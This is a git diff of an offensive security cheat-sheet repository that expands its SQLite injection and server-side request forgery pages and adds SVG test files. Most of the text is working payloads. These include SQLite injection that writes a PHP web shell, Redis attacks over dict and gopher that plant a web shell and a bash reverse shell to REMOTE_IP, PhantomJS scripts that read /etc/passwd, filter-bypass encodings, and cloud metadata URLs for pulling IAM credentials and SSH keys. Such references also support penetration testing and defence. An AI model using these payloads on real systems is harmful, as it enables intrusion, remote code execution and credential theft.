* [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)
|
||||
|
||||
|
||||
@@ -1,5 +1,19 @@
|
||||
# SQLite Injection
|
||||
|
||||
## Summary
|
||||
|
||||
* [SQLite comments](#sqlite-comments)
|
||||
* [SQLite version](#sqlite-version)
|
||||
* [String based - Extract database structure](#string-based---extract-database-structure)
|
||||
* [Integer/String based - Extract table name](#integerstring-based---extract-table-name)
|
||||
* [Integer/String based - Extract column name](#integerstring-based---extract-column-name)
|
||||
* [Boolean - Count number of tables](#boolean---count-number-of-tables)
|
||||
* [Boolean - Enumerating table name](#boolean---enumerating-table-name)
|
||||
* [Boolean - Extract info](#boolean---extract-info)
|
||||
* [Time based](#time-based)
|
||||
* [Remote Command Execution using SQLite command - Attach Database](#remote-command-execution-using-sqlite-command---attach-database)
|
||||
* [Remote Command Execution using SQLite command - Load_extension](#remote-command-execution-using-sqlite-command---load_extension)
|
||||
* [References](#references)
|
||||
## SQLite comments
|
||||
|
||||
```sql
|
||||
@@ -13,6 +27,12 @@
|
||||
select sqlite_version();
|
||||
```
|
||||
|
||||
## String based - Extract database structure
|
||||
|
||||
```sql
|
||||
SELECT sql FROM sqlite_schema
|
||||
```
|
||||
|
||||
## Integer/String based - Extract table name
|
||||
|
||||
```sql
|
||||
@@ -24,7 +44,7 @@ Use limit X+1 offset X, to extract all tables.
|
||||
## Integer/String based - Extract column name
|
||||
|
||||
```sql
|
||||
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
|
||||
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
|
||||
```
|
||||
|
||||
For a clean output
|
||||
@@ -62,7 +82,7 @@ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
```sql
|
||||
ATTACH DATABASE '/var/www/lol.php' AS lol;
|
||||
CREATE TABLE lol.pwn (dataz text);
|
||||
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
|
||||
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
|
||||
```
|
||||
|
||||
## Remote Command Execution using SQLite command - Load_extension
|
||||
@@ -75,4 +95,4 @@ Note: By default this component is disabled
|
||||
|
||||
## References
|
||||
|
||||
[Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/41397.pdf)
|
||||
[Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf)
|
||||
|
||||
|
Before Width: | Height: | Size: 176 B After Width: | Height: | Size: 176 B |
|
Before Width: | Height: | Size: 181 B After Width: | Height: | Size: 181 B |
@@ -0,0 +1,7 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg">
|
||||
<style>
|
||||
@import url(http://example.com/style.css);
|
||||
</style>
|
||||
<circle cx="50" cy="50" r="45" fill="green"
|
||||
id="foo"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 188 B |
6
Server Side Request Forgery/Files/ssrf_svg_css_link.svg
Normal file
@@ -0,0 +1,6 @@
|
||||
<svg width="100%" height="100%" viewBox="0 0 100 100"
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
|
||||
<circle cx="50" cy="50" r="45" fill="green"
|
||||
id="foo"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 288 B |
@@ -0,0 +1,6 @@
|
||||
<?xml-stylesheet href="http://example.com/style.css"?>
|
||||
<svg width="100%" height="100%" viewBox="0 0 100 100"
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="50" cy="50" r="45" fill="green"
|
||||
id="foo"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 228 B |
4
Server Side Request Forgery/Files/ssrf_svg_image.svg
Normal file
@@ -0,0 +1,4 @@
|
||||
<svg width="200" height="200"
|
||||
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 199 B |
4
Server Side Request Forgery/Files/ssrf_svg_use.svg
Normal file
@@ -0,0 +1,4 @@
|
||||
<svg width="200" height="200"
|
||||
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||
<use xlink:href="https://example.com/file2.svg#foo"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 176 B |
|
After Width: | Height: | Size: 179 KiB |
BIN
Server Side Request Forgery/Images/SSRF_PDF.png
Normal file
|
After Width: | Height: | Size: 67 KiB |
@@ -8,18 +8,21 @@
|
||||
* [Payloads with localhost](#payloads-with-localhost)
|
||||
* [Bypassing filters](#bypassing-filters)
|
||||
* [Bypass using HTTPS](#bypass-using-https)
|
||||
* [Bypass localhost with [::]](#bypass-localhost-with----)
|
||||
* [Bypass localhost with [::]](#bypass-localhost-with-)
|
||||
* [Bypass localhost with a domain redirection](#bypass-localhost-with-a-domain-redirection)
|
||||
* [Bypass localhost with CIDR](#bypass-localhost-with-cidr)
|
||||
* [Bypass using a decimal IP location](#bypass-using-a-decimal-ip-location)
|
||||
* [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6-ipv4-address-embedding)
|
||||
* [Bypass using octal IP](#bypass-using-octal-ip)
|
||||
* [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6ipv4-address-embedding)
|
||||
* [Bypass using malformed urls](#bypass-using-malformed-urls)
|
||||
* [Bypass using rare address](#bypass-using-rare-address)
|
||||
* [Bypass using URL encoding](#bypass-using-url-encoding)
|
||||
* [Bypass using bash variables](#bypass-using-bash-variables)
|
||||
* [Bypass using tricks combination](#bypass-using-tricks-combination)
|
||||
* [Bypass using enclosed alphanumerics](#bypass-using-enclosed-alphanumerics)
|
||||
* [Bypass filter_var() php function](#bypass-filter-var-php-function)
|
||||
* [Bypass filter_var() php function](#bypass-filter_var-php-function)
|
||||
* [Bypass against a weak parser](#bypass-against-a-weak-parser)
|
||||
* [Bypassing using jar protocol (java only)](#bypassing-using-jar-protocol-java-only)
|
||||
* [SSRF exploitation via URL Scheme](#ssrf-exploitation-via-url-scheme)
|
||||
* [file://](#file)
|
||||
* [http://](#http)
|
||||
@@ -28,10 +31,18 @@
|
||||
* [tftp://](#tftp)
|
||||
* [ldap://](#ldap)
|
||||
* [gopher://](#gopher)
|
||||
* [netdoc://](#netdoc)
|
||||
* [SSRF exploiting WSGI](#ssrf-exploiting-wsgi)
|
||||
* [SSRF exploiting Redis](#ssrf-exploiting-redis)
|
||||
* [SSRF exploiting PDF file](#ssrf-exploiting-pdf-file)
|
||||
* [Blind SSRF](#blind-ssrf)
|
||||
* [SSRF to XSS](#ssrf-to-xss)
|
||||
* [SSRF from XSS](#ssrf-from-xss)
|
||||
* [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances)
|
||||
* [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket)
|
||||
* [SSRF URL for AWS ECS](#ssrf-url-for-aws-ecs)
|
||||
* [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk)
|
||||
* [SSRF URL for AWS Lambda](#ssrf-url-for-aws-lambda)
|
||||
* [SSRF URL for Google Cloud](#ssrf-url-for-google-cloud)
|
||||
* [SSRF URL for Digital Ocean](#ssrf-url-for-digital-ocean)
|
||||
* [SSRF URL for Packetcloud](#ssrf-url-for-packetcloud)
|
||||
@@ -48,6 +59,8 @@
|
||||
|
||||
- [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap)
|
||||
- [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus)
|
||||
- [See-SURF - https://github.com/In3tinct/See-SURF](https://github.com/In3tinct/See-SURF)
|
||||
- [SSRF Sheriff - https://github.com/teknogeek/ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff)
|
||||
|
||||
## Payloads with localhost
|
||||
|
||||
@@ -70,22 +83,6 @@ http://localhost:443
|
||||
http://localhost:22
|
||||
```
|
||||
|
||||
Advanced exploit using a redirection
|
||||
|
||||
```powershell
|
||||
1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com
|
||||
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
|
||||
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
|
||||
```
|
||||
|
||||
Advanced exploit using type=url
|
||||
|
||||
```powershell
|
||||
Change "type=file" to "type=url"
|
||||
Paste URL in text field and hit enter
|
||||
Using this vulnerability users can upload images from any image URL = trigger an SSRF
|
||||
```
|
||||
|
||||
## Bypassing filters
|
||||
|
||||
### Bypass using HTTPS
|
||||
@@ -140,12 +137,29 @@ http://127.0.0.0
|
||||
### Bypass using a decimal IP location
|
||||
|
||||
```powershell
|
||||
http://0177.0.0.1/
|
||||
http://2130706433/ = http://127.0.0.1
|
||||
http://3232235521/ = http://192.168.0.1
|
||||
http://3232235777/ = http://192.168.1.1
|
||||
http://2852039166/ = http://169.254.169.254
|
||||
```
|
||||
|
||||
### Bypass using octal IP
|
||||
|
||||
Implementations differ on how to handle octal format of ipv4.
|
||||
|
||||
```sh
|
||||
http://0177.0.0.1/ = http://127.0.0.1
|
||||
http://o177.0.0.1/ = http://127.0.0.1
|
||||
http://0o177.0.0.1/ = http://127.0.0.1
|
||||
http://q177.0.0.1/ = http://127.0.0.1
|
||||
...
|
||||
```
|
||||
|
||||
Ref:
|
||||
- [DEFCON 29-KellyKaoudis SickCodes-Rotten code, aging standards & pwning IPv4 parsing](https://www.youtube.com/watch?v=_o1RPJAe4kU)
|
||||
- [AppSecEU15-Server_side_browsing_considered_harmful.pdf](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
|
||||
|
||||
|
||||
### Bypass using IPv6/IPv4 Address Embedding
|
||||
|
||||
[IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm)
|
||||
@@ -171,6 +185,15 @@ http://127.1
|
||||
http://127.0.1
|
||||
```
|
||||
|
||||
### Bypass using URL encoding
|
||||
|
||||
[Single or double encode a specific URL to bypass blacklist](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter)
|
||||
|
||||
```powershell
|
||||
http://127.0.0.1/%61dmin
|
||||
http://127.0.0.1/%2561dmin
|
||||
```
|
||||
|
||||
### Bypass using bash variables
|
||||
|
||||
(curl only)
|
||||
@@ -200,6 +223,12 @@ List:
|
||||
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
||||
```
|
||||
|
||||
### Bypass using unicode
|
||||
|
||||
In some languages (.NET, Python 3) regex supports unicode by default.
|
||||
`\d` includes `0123456789` but also `๐๑๒๓๔๕๖๗๘๙`.
|
||||
|
||||
|
||||
### Bypass filter_var() php function
|
||||
|
||||
```powershell
|
||||
@@ -217,8 +246,44 @@ http://127.1.1.1:80:\@@127.2.2.2:80/
|
||||
http://127.1.1.1:80#\@127.2.2.2:80/
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
### Bypassing using a redirect
|
||||
[using a redirect](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection)
|
||||
|
||||
```powershell
|
||||
1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
|
||||
2. Launch the SSRF pointing to vulnerable.com/index.php?url=http://YOUR_SERVER_IP
|
||||
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
|
||||
3. You can use response codes [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307) and [308](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/308) in order to retain HTTP method and body after the redirection.
|
||||
```
|
||||
|
||||
### Bypassing using type=url
|
||||
|
||||
```powershell
|
||||
Change "type=file" to "type=url"
|
||||
Paste URL in text field and hit enter
|
||||
Using this vulnerability users can upload images from any image URL = trigger an SSRF
|
||||
```
|
||||
|
||||
### Bypassing using DNS Rebinding (TOCTOU)
|
||||
|
||||
```powershell
|
||||
Create a domain that change between two IPs. http://1u.ms/ exists for this purpose.
|
||||
For example to rotate between 1.2.3.4 and 169.254-169.254, use the following domain:
|
||||
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
|
||||
```
|
||||
|
||||
### Bypassing using jar protocol (java only)
|
||||
|
||||
Blind SSRF
|
||||
|
||||
```powershell
|
||||
jar:scheme://domain/path!/
|
||||
jar:http://127.0.0.1!/
|
||||
jar:https://127.0.0.1!/
|
||||
jar:ftp://127.0.0.1!/
|
||||
```
|
||||
|
||||
## SSRF exploitation via URL Scheme
|
||||
|
||||
@@ -342,6 +407,110 @@ Content of evil.com/redirect.php:
|
||||
?>
|
||||
```
|
||||
|
||||
### Netdoc
|
||||
|
||||
Wrapper for Java when your payloads struggle with "\n" and "\r" characters.
|
||||
|
||||
```powershell
|
||||
ssrf.php?url=netdoc:///etc/passwd
|
||||
```
|
||||
|
||||
## SSRF exploiting WSGI
|
||||
|
||||
Exploit using the Gopher protocol, full exploit script available at https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py.
|
||||
|
||||
```powershell
|
||||
gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
|
||||
```
|
||||
|
||||
| Header | | |
|
||||
|-----------|-----------|-------------|
|
||||
| modifier1 | (1 byte) | 0 (%00) |
|
||||
| datasize | (2 bytes) | 26 (%1A%00) |
|
||||
| modifier2 | (1 byte) | 0 (%00) |
|
||||
|
||||
| Variable (UWSGI_FILE) | | | | |
|
||||
|-----------------------|-----------|----|------------|---|
|
||||
| key length | (2 bytes) | 10 | (%0A%00) | |
|
||||
| key data | (m bytes) | | UWSGI_FILE | |
|
||||
| value length | (2 bytes) | 12 | (%0C%00) | |
|
||||
| value data | (n bytes) | | /tmp/test.py | |
|
||||
|
||||
|
||||
## SSRF exploiting Redis
|
||||
|
||||
> Redis is a database system that stores everything in RAM
|
||||
|
||||
```powershell
|
||||
# Getting a webshell
|
||||
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
|
||||
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
|
||||
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
|
||||
url=dict://127.0.0.1:6379/SAVE
|
||||
|
||||
# Getting a PHP reverse shell
|
||||
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
|
||||
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
|
||||
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
|
||||
gopher://127.0.0.1:6379/_save
|
||||
```
|
||||
|
||||
## SSRF exploiting PDF file
|
||||
|
||||

|
||||
|
||||
Example with [WeasyPrint by @nahamsec](https://www.youtube.com/watch?v=t5fB6OZsR6c&feature=emb_title)
|
||||
|
||||
```powershell
|
||||
<link rel=attachment href="file:///root/secret.txt">
|
||||
```
|
||||
|
||||
Example with PhantomJS
|
||||
|
||||
```js
|
||||
<script>
|
||||
exfil = new XMLHttpRequest();
|
||||
exfil.open("GET","file:///etc/passwd");
|
||||
exfil.send();
|
||||
exfil.onload = function(){document.write(this.responseText);}
|
||||
exfil.onerror = function(){document.write('failed!')}
|
||||
</script>
|
||||
```
|
||||
|
||||
## Blind SSRF
|
||||
|
||||
> When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read.
|
||||
|
||||
Use an SSRF chain to gain an Out-of-Band output.
|
||||
|
||||
From https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/ / https://github.com/assetnote/blind-ssrf-chains
|
||||
|
||||
**Possible via HTTP(s)**
|
||||
- [Elasticsearch](https://github.com/assetnote/blind-ssrf-chains#elasticsearch)
|
||||
- [Weblogic](https://github.com/assetnote/blind-ssrf-chains#weblogic)
|
||||
- [Hashicorp Consul](https://github.com/assetnote/blind-ssrf-chains#consul)
|
||||
- [Shellshock](https://github.com/assetnote/blind-ssrf-chains#shellshock)
|
||||
- [Apache Druid](https://github.com/assetnote/blind-ssrf-chains#druid)
|
||||
- [Apache Solr](https://github.com/assetnote/blind-ssrf-chains#solr)
|
||||
- [PeopleSoft](https://github.com/assetnote/blind-ssrf-chains#peoplesoft)
|
||||
- [Apache Struts](https://github.com/assetnote/blind-ssrf-chains#struts)
|
||||
- [JBoss](https://github.com/assetnote/blind-ssrf-chains#jboss)
|
||||
- [Confluence](https://github.com/assetnote/blind-ssrf-chains#confluence)
|
||||
- [Jira](https://github.com/assetnote/blind-ssrf-chains#jira)
|
||||
- [Other Atlassian Products](https://github.com/assetnote/blind-ssrf-chains#atlassian-products)
|
||||
- [OpenTSDB](https://github.com/assetnote/blind-ssrf-chains#opentsdb)
|
||||
- [Jenkins](https://github.com/assetnote/blind-ssrf-chains#jenkins)
|
||||
- [Hystrix Dashboard](https://github.com/assetnote/blind-ssrf-chains#hystrix)
|
||||
- [W3 Total Cache](https://github.com/assetnote/blind-ssrf-chains#w3)
|
||||
- [Docker](https://github.com/assetnote/blind-ssrf-chains#docker)
|
||||
- [Gitlab Prometheus Redis Exporter](https://github.com/assetnote/blind-ssrf-chains#redisexporter)
|
||||
|
||||
**Possible via Gopher**
|
||||
- [Redis](https://github.com/assetnote/blind-ssrf-chains#redis)
|
||||
- [Memcache](https://github.com/assetnote/blind-ssrf-chains#memcache)
|
||||
- [Apache Tomcat](https://github.com/assetnote/blind-ssrf-chains#tomcat)
|
||||
|
||||
|
||||
## SSRF to XSS
|
||||
|
||||
by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
|
||||
@@ -353,12 +522,31 @@ https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple
|
||||
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
|
||||
```
|
||||
|
||||
## SSRF from XSS
|
||||
|
||||
### Using an iframe
|
||||
|
||||
The content of the file will be integrated inside the PDF as an image or text.
|
||||
|
||||
```html
|
||||
<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
||||
```
|
||||
|
||||
### Using an attachment
|
||||
|
||||
Example of a PDF attachment using HTML
|
||||
|
||||
1. use `<link rel=attachment href="URL">` as Bio text
|
||||
2. use 'Download Data' feature to get PDF
|
||||
3. use `pdfdetach -saveall filename.pdf` to extract embedded resource
|
||||
4. `cat attachment.bin`
|
||||
|
||||
## SSRF URL for Cloud Instances
|
||||
|
||||
### SSRF URL for AWS Bucket
|
||||
|
||||
[Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)
|
||||
Interesting path to look for at `http://169.254.169.254`
|
||||
Interesting path to look for at `http://169.254.169.254` or `http://instance-data`
|
||||
|
||||
```powershell
|
||||
Always here : /latest/meta-data/{hostname,public-ipv4,...}
|
||||
@@ -369,11 +557,9 @@ Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
|
||||
DNS record
|
||||
|
||||
```powershell
|
||||
http://instance-data
|
||||
http://169.254.169.254
|
||||
http://metadata.nicob.net/
|
||||
http://169.254.169.254.xip.io/
|
||||
http://1ynrnhl.xip.io/
|
||||
http://www.owasp.org.1ynrnhl.xip.io/
|
||||
http://169.254.169.254.nip.io/
|
||||
```
|
||||
|
||||
HTTP redirect
|
||||
@@ -415,10 +601,27 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
|
||||
AWS SSRF Bypasses
|
||||
```
|
||||
Converted Decimal IP: http://2852039166/latest/meta-data/
|
||||
IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/
|
||||
IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/
|
||||
IPV6/IPV4: http://[0:0:0:0:0:ffff:169.254.169.254]/latest/meta-data/
|
||||
```
|
||||
|
||||
E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance`
|
||||
|
||||
E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`
|
||||
|
||||
### SSRF URL for AWS ECS
|
||||
|
||||
If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID.
|
||||
|
||||
```powershell
|
||||
curl http://169.254.170.2/v2/credentials/<UUID>
|
||||
```
|
||||
|
||||
This way you'll extract IAM keys of the attached role
|
||||
|
||||
### SSRF URL for AWS Elastic Beanstalk
|
||||
|
||||
@@ -440,8 +643,21 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
||||
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||||
|
||||
|
||||
### SSRF URL for AWS Lambda
|
||||
|
||||
AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.
|
||||
|
||||
```powershell
|
||||
http://localhost:9001/2018-06-01/runtime/invocation/next
|
||||
$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
|
||||
```
|
||||
|
||||
Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next
|
||||
|
||||
### SSRF URL for Google Cloud
|
||||
|
||||
:warning: Google is shutting down support for usage of the **v1 metadata service** on January 15.
|
||||
|
||||
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
|
||||
|
||||
```powershell
|
||||
@@ -466,6 +682,12 @@ http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
|
||||
Required headers can be set using a gopher SSRF with the following technique
|
||||
|
||||
```powershell
|
||||
gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
|
||||
```
|
||||
|
||||
Interesting files to pull out:
|
||||
|
||||
- SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
|
||||
@@ -593,6 +815,11 @@ bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
|
||||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
|
||||
```
|
||||
|
||||
More info:
|
||||
|
||||
- Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option
|
||||
- Docker Engine API: https://docs.docker.com/engine/api/latest/
|
||||
|
||||
### SSRF URL for Rancher
|
||||
|
||||
```powershell
|
||||
@@ -604,6 +831,7 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se
|
||||
|
||||
## References
|
||||
|
||||
- [AppSecEU15-Server_side_browsing_considered_harmful.pdf](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
|
||||
- [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - 2017-12-13](https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/)
|
||||
- [ESEA Server-Side Request Forgery and Querying AWS Meta Data](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/) by Brett Buerhaus
|
||||
- [SSRF and local file read in video to gif converter](https://hackerone.com/reports/115857)
|
||||
@@ -631,3 +859,7 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se
|
||||
- [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG @quanyang](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/)
|
||||
- [Exploiting SSRF in AWS Elastic Beanstalk - February 1, 2019 - @notsosecure](https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/)
|
||||
- [PortSwigger - Web Security Academy Server-side request forgery (SSRF)](https://portswigger.net/web-security/ssrf)
|
||||
- [SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - 12/06/2019](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [SSRF’s up! Real World Server-Side Request Forgery (SSRF) - shorebreaksecurity - 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/)
|
||||
- [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html)
|
||||
- [Attacking Url's in JAVA](https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/)
|
||||
|
||||